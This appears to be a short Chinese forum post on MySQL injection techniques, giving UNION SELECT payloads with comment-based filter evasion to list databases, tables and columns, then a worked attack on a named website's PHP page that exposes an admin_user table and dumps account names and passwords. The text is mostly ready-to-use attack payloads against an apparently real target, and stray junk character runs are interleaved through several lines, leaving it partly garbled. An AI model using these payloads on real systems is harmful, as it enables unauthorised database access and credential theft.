mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*
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4 I5 T  `$ o) w查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
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1 g3 N; S4 A  F查段

9 R8 h' b8 Y3 X' h/ Eid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
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6 l6 i* a5 U, M2 z; R* E, n, J例子如下:

1.爆表
+ G2 H5 d: c0 }- l- A3 ~http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
2 C7 d5 l' r# E; U1 K这样爆到第4个时出现了admin_user表。
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2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
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3.爆密码
8 a! Q: c8 v+ ]  o! @. K" Ehttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*